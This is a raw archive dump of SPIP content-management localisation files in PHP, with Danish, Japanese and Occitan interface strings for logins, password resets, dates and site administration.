Når du har tilmeldt dig, kan du gennemse artikler der er på vej, indsende artikler og deltage i alle fora.',
'pass_forum_bla' => 'Du har bedt om adgang til et forum, der er forbeholdt registrerede brugere.',
'pass_indiquez_cidessous' => 'Indtast nedenfor den e-mail-adresse, du tidligere har registreret. Du vil modtage en e-mail, der forklarer, hvordan du får adgang.',
'pass_mail_passcookie' => '(dette er en automatisk dannet e-mail)
For at få adgang til webstedet
@nom_site_spip@ (@adresse_site@)
skal du gå til følgende adresse:
@sendcookie@
Du kan så indtaste en ny adgangskode
og igen få adgang til webstedet.', # MODIF
'pass_mot_oublie' => 'Glemt adgangskode',
'pass_nouveau_enregistre' => 'Din nye adgangskode er registreret.',
'pass_nouveau_pass' => 'Ny adgangskode',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Glemt adgangskode',
'pass_quitter_fenetre' => 'Luk vinduet',
'pass_rappel_login' => 'Påmindelse: din brugeridentifikation (login) er "@login@".',
'pass_recevoir_mail' => 'Du vil modtage en e-mail, der forklarer hvordan du kan få adgang til webstedet.',
'pass_retour_public' => 'Tilbage til det offentlige websted',
'pass_rien_a_faire_ici' => 'Intet at gøre her.',
'pass_vousinscrire' => 'Tilmelding til webstedet',
// S
'stats_visites_et_popularite' => '@visites@ besøg; popularitet: @popularite@',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ byte',
'texte_actualite_site_1' => 'Denne side viser webstedets status og giver dig mulighed for at følge dine bidrag. Her kan du både finde dine uafsluttede artikler og de artikler og nyheder, som du inviteres til at tilkendegive din mening om, samt en påmindelse om dine tidligere bidrag.<p><hr><p>Når du er blevet fortrolig med brugergrænsefladen så klik på «',
'texte_actualite_site_2' => 'fuld brugergrænseflade',
'texte_actualite_site_3' => '» for at få flere funktioner til rådighed.',
'texte_creation_automatique_vignette' => 'Dette websted tillader automatisk dannelse af miniaturepiktogrammer. Hvis du via denne formular indlæser billeder i formatet @gd_formats@, vil de blive knyttet sammen med miniaturepiktogrammer med en maksimal størrelse på @taille_preview@ pixels.',
'texte_documents_associes' => 'Følgende dokumenter er knyttet til artiklen men indsættes ikke direkte. Afhængig af det offentlige websteds layout kan de optræde som vedhæftede dokumenter.',
'texte_erreur_mise_niveau_base' => 'Databasefejl under opgradering.
Billedet <b>@fichier@</b> kunne ikke overføres (artiklen @id_article@).<p>
Noter omhyggeligt denne henvisning, gentag opgraderingsproceduren,
og kontrolller sluttelig, at billederne stadig figurerer i dokumentet.', # MODIF
'texte_inc_auth_1' => 'Du har identificeret dig selv med login <b>@auth_login@</b>, men det findes ikke (mere) i databasen.
Prøv at ', # MODIF
'texte_inc_auth_2' => 'genetablere forbindelsen',
'texte_inc_auth_3' => 'efter om nødvendigt at have lukket din browser ned og genstartet den igen.',
'texte_inc_config' => 'Ændringer nedenfor vil markant påvirke webstedets funktion.
Du rådes til ikke at ændre dem, med mindre du er fortrolig med SPIP-systemets funktion.
<br /><br /><b>I almindelighed rådes du kraftigt til at lade den hovedansvarlige webmaster på dit websted tage sig af denne side.</b>', # MODIF
'texte_inc_meta_1' => 'Kontroller venligst som administrator', # MODIF
'texte_inc_meta_2' => 'skriveadgangen',
'texte_inc_meta_3' => 'til kataloget ecrire/', # MODIF
'texte_statut_en_cours_redaction' => 'under redigering',
'texte_statut_poubelle' => 'i papirkurven',
'texte_statut_propose_evaluation' => 'indsendt til godkendelse',
'texte_statut_publie' => 'offentliggjort online',
'texte_statut_refuse' => 'afvist',
'titre_ajouter_mot_cle' => 'TILFØJ NØGLEORD:',
'titre_cadre_raccourcis' => 'GENVEJE:',
'titre_changer_couleur_interface' => 'Ændre farve på brugergrænsefladen',
'titre_image_admin_article' => 'Du kan administrere denne artikel',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Hjælp til dette emne',
'titre_image_auteur_supprime' => 'Forfatter slettet',
'titre_image_redacteur' => 'Forfatter uden adgang',
'titre_image_redacteur_02' => 'Forfatter',
'titre_image_visiteur' => 'Besøgende',
'titre_joindre_document' => 'VEDHÆFT DOKUMENT',
'titre_mots_cles' => 'NØGLEORD',
'titre_probleme_technique' => 'Advarsel: et teknisk problem (SQL server) forhindrer adgang til denne del af webstedet.<p>
Tak for din forståelse.', # MODIF
'titre_publier_document' => 'OFFENTLIGGØR ET DOKUMENT I DETTE AFSNIT',
'titre_statistiques' => 'Webstedsstatistik',
'titre_titre_document' => 'Dokumentoverskrift:',
'trad_reference' => '(referenceartikel)', # MODIF
// Z
'zbug_boucle_recursive_undef' => 'boucle récursive non définie', # MODIF
'zbug_champ_hors_motif' => 'Champ @champ@ hors d’une boucle de motif @motif@', # MODIF
'zbug_critere_inconnu' => 'critère inconnu @critere@', # MODIF
'zbug_distant_interdit' => 'externe interdit', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: flertydig definition', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: mangler slutkoden der lukker', # MODIF
'zbug_erreur_boucle_syntaxe' => 'forkert loop (BOUCLE) syntax ', # MODIF
'zbug_erreur_execution_page' => 'erreur d’exécution de la page', # MODIF
'zbug_erreur_filtre' => 'Fejl - udefineret filter: <b>"@filter@"</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} ne s’applique qu’aux boucles (FORUMS) ou (RUBRIQUES)', # MODIF
'zbug_info_erreur_squelette' => 'Fejl på sitet',
'zbug_inversion_ordre_inexistant' => 'inversion d’un ordre inexistant', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrects', # MODIF
'zbug_serveur_indefini' => 'serveur SQL indéfini' # MODIF
);
?>
public_ja.php 0000666 00000010122 15252547432 0007216 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'ホーム', # MODIF
'articles' => '記事',
'articles_auteur' => 'この記事の著者',
'articles_populaires' => '最も読まれている記事',
'articles_rubrique' => 'このセクションの記事',
'aucun_article' => 'このアドレスに記事はありません',
'aucun_auteur' => 'このアドレスに著者はいません',
'aucun_site' => 'このアドレスにサイトはありません',
'aucune_breve' => 'このアドレスにニュースはありません',
'aucune_rubrique' => 'このアドレスにセクションはありません',
'autres_breves' => '他のニュース',
'autres_groupes_mots_clefs' => 'キーワードの他のグループ',
'autres_sites' => '他のサイト',
// B
'bonjour' => 'おはようございます',
// C
'commenter_site' => 'このサイトについてコメントして下さい',
// D
'date' => '日付',
'dernier_ajout' => '最新の追加',
'dernieres_breves' => '最新のニュース',
'derniers_articles' => '最新の記事',
'derniers_commentaires' => '最新のコメント',
'derniers_messages_forum' => 'フォーラムで投稿された最新のメッセージ',
// E
'edition_mode_texte' => 'テキストモードonly',
'en_reponse' => 'Replying to:',
'en_resume' => 'まとめ',
'envoyer_message' => 'メッセージを送る',
'espace_prive' => 'プライベートエリア',
// H
'hierarchie_site' => 'サイトの階層',
// J
'jours' => '日付け',
// M
'meme_auteur' => '同じ著者によって',
'meme_rubrique' => '同じセクションの中で',
'memes_auteurs' => '同じ著者によって',
'message' => 'メッセージ',
'messages_forum' => 'フォーラムメッセージ', # MODIF
'messages_recents' => '最も新しいフォーラムのメッセージ',
'mots_clefs' => 'キーワード',
'mots_clefs_meme_groupe' => '同じグループのキーワード',
// N
'navigation' => 'ナビゲーション',
'nom' => '名前',
'nouveautes' => '新しいもの',
'nouveautes_web' => 'Webの中で新しいもの',
'nouveaux_articles' => '新しい記事',
'nouvelles_breves' => '新しいニュース',
// P
'page_precedente' => '前のページ',
'page_suivante' => '次のページ',
'par_auteur' => 'によって ',
'participer_site' => 'あなたはこのウェブサイトで活動することによって、登録後、あなたの記事を書くことが出来ます。それからあなたはすぐに、サイトのプライベートエリアへのアクセスコードを、emailによって得られるでしょう。',
'plan_site' => 'サイトマップ',
'popularite' => 'ポピュラー',
'poster_message' => 'メッセージを投稿',
'proposer_site' => 'あなたはこのセクションに追加するサイトを提案することが出来ます:',
// R
'repondre_article' => 'この記事に返信',
'repondre_breve' => 'このニュースに返信',
'resultats_recherche' => '検索結果',
'retour_debut_forums' => 'フォーラムの最初のページに戻る',
'rubrique' => 'セクション',
'rubriques' => 'セクション',
// S
'signatures_petition' => '署名',
'site_realise_avec_spip' => 'SPIPによってサイトは作られました',
'sites_web' => 'ウェブサイト',
'sous_rubriques' => 'サブセクション',
'suite' => '次の',
'sur_web' => 'ウェブ上',
'syndiquer_rubrique' => 'このセクションを供給する',
'syndiquer_site' => 'サイト全体を供給する',
// T
'texte_lettre_information' => 'サイトのニュースレターはここ',
'texte_lettre_information_2' => 'この手紙は、以来公表された記事とニュースをまとめてあります。', # MODIF
// V
'ver_imprimer' => 'バージョン表記',
'voir_en_ligne' => 'オンラインを見る',
'voir_squelette' => '???????????????' # MODIF
);
?>
spip_oc_ni_la.php 0000666 00000076425 15252547432 0010106 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'occitan (niçard larg) [oc_ni_la]',
'0_liste' => 'lenga.occitana@aprene.org',
'0_mainteneur' => 'Domergue Sumien: lenga.occitana@aprene.org',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuala simplificada',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar aquel article',
'admin_modifier_auteur' => 'Modificar aquel autor',
'admin_modifier_breve' => 'Modificar aquela brèva',
'admin_modifier_mot' => 'Modificar aqueu mot clau',
'admin_modifier_rubrique' => 'Modificar aquela rubrica',
'admin_recalculer' => 'Tornar calcular la pàgina',
'alerte_maj_impossible' => '<b>Alèrta!</b> Es impossible d’actualizar la basa SQL vèrs la version @version@; benlèu i a un problèma relatiu au drech de modificar la basa de donadas. Vorgatz contactar lo vòstre aubergador.',
'analyse_xml' => 'Analisi XML',
'articles_recents' => 'Lu articles mai recents',
'avis_archive_incorrect' => 'lo fichier archiu non es un fichier SPIP',
'avis_archive_invalide' => 'lo fichier archiu non es valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de camp incorrècte @name@ per objècte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ non existisse',
'avis_erreur' => 'Error: veètz çai sota',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Non cau apelar aquela foncion dins aqueu contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la sauvagarda (@type@ @id_objet@)! ',
// B
'barre_a_accent_grave' => 'Inserir una A accent grèu majuscula',
'barre_aide' => 'Utilizar li acorchas tipografiqui per enriquir la vòstra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins l’O majuscula',
'barre_euro' => 'Inserir lo simbèu de l’èuro: €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Enrodar emb de « verguetas »',
'barre_guillemets_simples' => 'Enrodar emb de verguetas',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [ligam ipertèxt->http://...]',
'barre_lien_input' => 'Vorgatz indicar l’adreiça dau vòstre ligam (podètz indicar una adreiça web sota la forma http://www.lomieusit.com ò simplament indicar lo número d’un article d’aqueu sit).',
'barre_note' => 'Transformar en [[Nòta de pè]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Cambiar',
'bouton_chercher' => 'Cercar',
'bouton_choisir' => 'Chausir',
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjaria intèrna',
'bouton_radio_envoi_annonces' => 'Mandar lu anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Non mandar d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Non mandar la tiera dei novetats',
'bouton_recharger_page' => 'tornar cargar aquela pàgina',
'bouton_telecharger' => 'Telecargar',
'bouton_upload' => 'Telecargar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'aprèsmiegjorn',
'cal_jour_entier' => 'jorn entier',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendier per jorn',
'cal_par_mois' => 'calendier per mes',
'cal_par_semaine' => 'calendier per setmana',
'confirm_changer_statut' => 'Atencion, avètz demandat de cambiar l’estatut d’aquel element. Desiratz de contunhar? ',
// D
'date_aujourdhui' => 'ancuei',
'date_avant_jc' => 'avans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de genoier',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de febrier',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abriu',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julhet',
'date_de_mois_8' => '@j@ d’aost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ dau @annee@',
'date_fmt_mois_annee' => '@nommois@ dau @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ièr',
'date_il_y_a' => 'fa @delai@',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'diménegue',
'date_jour_2' => 'diluns',
'date_jour_3' => 'dimars',
'date_jour_4' => 'dimècres',
'date_jour_5' => 'dijòus',
'date_jour_6' => 'divendres',
'date_jour_7' => 'dissabta',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mes',
'date_mois_1' => 'genoier',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'febrier',
'date_mois_3' => 'març',
'date_mois_4' => 'abriu',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julhet',
'date_mois_8' => 'aost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'ivèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'auton',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'per començar verament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar lu drechs d’accès</b>',
'dirs_probleme_droits' => 'Problèma de drechs d’accès',
'dirs_repertoires_absents' => '<b>Non s’es trobat lu repertòris seguents: <ul>@bad_dirs@.</ul> </b>
<p>Si pòu que venga d’un problèma de majusculas ò minusculas mau mesas.
Verificatz que li minusculas e majusculas d’aquelu repertòris correspòndan ben emb cen afichat
çai subre; se non es lo cas, tornatz nommar lu repertòris embau vòstre logiciau FTP en corregissent l’error.
<p>Un còup qu’auretz fach aquò, porretz ',
'dirs_repertoires_suivants' => '<b>Lu repertòris seguents non son accessibles en escritura: <ul>@bad_dirs@.</ul> </b>
<p>Per adobar aquò, utilizatz lo vòstre client FTP per fin de reglar lu drechs d’accès de cadun
d’aquelu repertòris. La guida d’installacion explica en detalh coma cau procedir.
<p>Tre qu’auretz facha aquela manipulacion, porretz </p>',
// E
'envoi_via_le_site' => 'Mandadís embau biais dau sit web',
// F
'fichier_introuvable' => 'Non s’es pogut trobar lo fichier @fichier@.',
'form_deja_inscrit' => 'Siatz ja inscrich(a).',
'form_email_non_valide' => 'La vòstra adreiça e-mail non es valida.',
'form_forum_access_refuse' => 'Podètz pus accedir a aqueu sit.',
'form_forum_bonjour' => 'Bònjorn @nom@,',
'form_forum_email_deja_enregistre' => 'Aquela adreiça e-mail ja es registrada, doncas podètz utilizar lo vòstre mot de santa Clara costumier.',
'form_forum_identifiant_mail' => 'V’avèm mandat lo vòstre identificant novèu per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz aquí lo vòstre nom e la vòstra adreiça e-mail. Lo vòstre identificant personau arribarà lèu-lèu, per e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(aquò’s un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara:',
'form_forum_probleme_mail' => 'Problèma d’e-mail: non si pòu mandar l’identificant.',
'form_forum_voici1' => 'Vètz lu vòstres identificants per poder participar ai forums
dau sit "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Vètz lu vòstres identificants per prepauar d’articles
sus lo sit "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Vorgatz indicar la vòstra adreiça e-mail.',
'form_indiquer_nom' => 'Vorgatz indicar lo vòstre nom.',
'form_indiquer_nom_site' => 'Vorgatz indicar lo nom dau vòstre sit.',
'form_pet_deja_enregistre' => 'Ja aqueu sit es registrat',
'form_pet_signature_pasprise' => 'La vòstra signatura non es pilhada en còmpte.',
'form_prop_confirmer_envoi' => 'Confirmar lo mandadís',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'La vòstra proposicion es ben registrada, apareisserà en linha tre que lu responsables dau sit l’auràn validada.',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Vorgatz indicar una adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Vorgatz indicar lo nom dau sit.',
'form_prop_indiquer_sujet' => 'Vorgatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'La vòstra propòsta non es estada registrada.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreiça (URL) dau sit', # MODIF
'forum_non_inscrit' => 'Sia non siatz inscrich(a), sia avètz fach un error d’adreiça ò de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichier "backend" dei articles d’aquest sit si tròba a l’adreiça: ',
'ical_texte_rss_articles2' => 'Parier podètz obtenir de fichiers "backend" per lu articles de cada rubrica dau sit:',
'ical_texte_rss_breves' => 'Existisson mai d’un fichier contenent li brèvas dau sit. En precisant un número de rubrica, obtendretz basta li brèvas de la rubrica aquela.',
'icone_a_suivre' => 'De sègre',
'icone_admin_site' => 'Administracion dau sit',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar lo vòstre sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nòu ',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Si desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents dei rubricas',
'icone_ecrire_article' => 'Escriure un article nòu',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion dei lengas',
'icone_informations_personnelles' => 'Informacions personali',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificada',
'icone_maintenance_site' => 'Mantenença dau sit',
'icone_messagerie_personnelle' => 'Messatjaria personala',
'icone_repartition_debut' => 'Afichar la reparticion despí la començança',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda dau sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas dau sit',
'icone_suivi_activite' => 'Sègre la vida dau sit',
'icone_suivi_actualite' => 'Evolucion dau sit',
'icone_suivi_pettions' => 'Sègre/gerir li peticions',
'icone_suivi_revisions' => 'Modificacions dei articles',
'icone_supprimer_document' => 'Suprimir aqueu document',
'icone_supprimer_image' => 'Suprimir aquel imatge',
'icone_tous_articles' => 'Toi lu vòstres articles ',
'icone_tous_auteur' => 'Toi lu autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'info_a_suivre' => 'DE SÈGRE>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refusat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Podètz administrar aquela rubrica e li sieus sosrubricas',
'info_adresse_non_indiquee' => 'Non avètz indicat l’adreiça de testar!',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Apondre aqueu mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus:',
'info_article_propose' => 'Article prepauat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Lu articles de validar',
'info_articles_proposes' => 'Articles prepauats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion refusada',
'info_contact_developpeur' => 'Vorgatz contactar un desvolopaire.',
'info_contenance' => 'Aqueu sit conten:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ es un logiciau liure distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mai d’informacions, veire lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'sota licéncia GPL',
'info_cours_edition' => 'Li vòstres articles en cors de redaccion',
'info_creer_repertoire' => 'Vorgatz crear un fichier ò un repertòri nommat',
'info_creer_repertoire_2' => 'dintre lo sosrepertòri <b>@repertoire@</b>, pi:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Lu vòstres articles en cors de redaccion',
'info_en_ligne' => 'Aüra en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a aquel autor',
'info_erreur_requete' => 'Error dins la requista',
'info_erreur_squelette2' => 'Minga d’esqueleta <b>@fichier@</b> es disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur es benlèu plen, ò la basa de donadas degalhada.<br />
<span style="color:red;">Assaiatz de <a href=\'@script@\'>reparar la basa</a>, ò contactatz lo vòstre aubergador.</span>',
'info_fini' => 'Es acabat!',
'info_format_image' => 'Formats d’imatges que si pòdon utilizar per crear de vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran grand',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabricacion dei vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pàgina <tt><html>@test_proxy@</html></tt> a travèrs dau proxy <tt>',
'info_installation_systeme_publication' => 'Installacion dau sistèma de publicacion...',
'info_installer_documents' => 'Podètz installar automaticament toi lu documents contenguts dins lo repertòri @upload@.',
'info_installer_ftp' => 'Coma administrator, podètz installar (per FTP) de fichiers dins lo dorsier @upload@, pi lu seleccionar directament aicí.',
'info_installer_images' => 'Podètz installar d’imatges ai formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar d’imatges dins lo dorsier @upload@ per lu poder seleccionar aicí.',
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificada',
'info_joindre_document_article' => 'Podètz jónher a aquel article de documents de la mena de',
'info_joindre_document_rubrique' => 'Podètz apondre a aquela rubrica de documents de la mena de',
'info_joindre_documents_article' => 'Podètz jónher a aquel article de documents de la mena de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorala dau sit',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixèls',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Lu lògos de formats @formats@ son solets autorizats.',
'info_logo_max_poids' => 'Lu lògos an de far mens de @maxi@ (aquest fichier fa @actuel@).',
'info_mail_fournisseur' => 'vos@fornidor.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions dei paramètres de seguretat',
'info_mois_courant' => 'Dins lo corrent dau mes:',
'info_mot_cle_ajoute' => 'S’es apondut lo mot clau seguent a',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Li <u>lengas solinhadi</u> benefícian d’una revirada de toi lu tèxts de l’interfàcia. Se seleccionatz aqueli lengas, tot plen d’elements dau sit public (datas, formularis) si reviraràn automaticament. Per li lengas non solinhadi, aquelu elements apareisseràn dins la lenga principala dau sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Lo vòstre nom non apareisse dins la tiera dei utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Lo vòstre nom apareisse dins la tiera dei utilizaires connectats.',
'info_nombre_en_ligne' => 'Aüra en linha:',
'info_non_resultat' => 'Minga de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Non utilizatz la messatjaria intèrna d’aqueu sit.',
'info_nouveau_message' => 'AVÈTZ UN MESSATGE NÒU',
'info_nouveaux_messages' => 'AVÈTZ @total_messages@ MESSATGES NÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran pichin ',
'info_pixels' => 'pixèls',
'info_plusieurs_mots_trouves' => 'plusors mots clau trobats per "@cherche_mot@":',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ primiers resultats de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primiers resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepaua: @titre@',
'info_propose_2' => 'Article prepauat
---------------',
'info_propose_3' => 'L’article "@titre@" es prepauat a la publicacion.',
'info_propose_4' => 'Vos convidam a lo venir consultar e a donar lo vòstre vejaire',
'info_propose_5' => 'dins lo forum que li es estacat. Es disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
--------------',
'info_rechercher' => 'Cercar',
'info_rechercher_02' => 'Cercar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalizat:',
'info_sans_titre_2' => 'sensa títol',
'info_selectionner_fichier' => 'Podètz seleccionar un fichier dau dorsier @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichier:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbèu <b>blau</b> marca un <b>memento</b>: valent a dire un messatge per lo vòstre usatge personau.',
'info_symbole_jaune' => 'Lo simbèu <b>jaune</b> marca un <b>anonci per toi lu redactors </b>: lu administrators lo pòdon modificar, cada redactor lo pòu veire.',
'info_symbole_vert' => 'Lo simbèu <b>verd</b> marca lu <b>messatges escambiats emb d’autres utilizaires</b> dau sit.',
'info_telecharger_nouveau_logo' => 'Telecargar un lògo nòu:',
'info_telecharger_ordinateur' => 'Telecargar a partir dau vòstre ordenador:',
'info_tous_resultats_enregistres' => '[toi lu resultats son registrats]',
'info_tout_afficher' => 'Afichar tot',
'info_travaux_texte' => 'Aqueu sit non es encara configurat. Tornatz mai tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròup de resultats per "@cherche_mot@"; vorgatz afinar la cèrca.',
'info_utilisation_messagerie_interne' => 'Utilizatz la messatjaria intèrna d’aqueu sit.',
'info_valider_lien' => 'validar aqueu ligam',
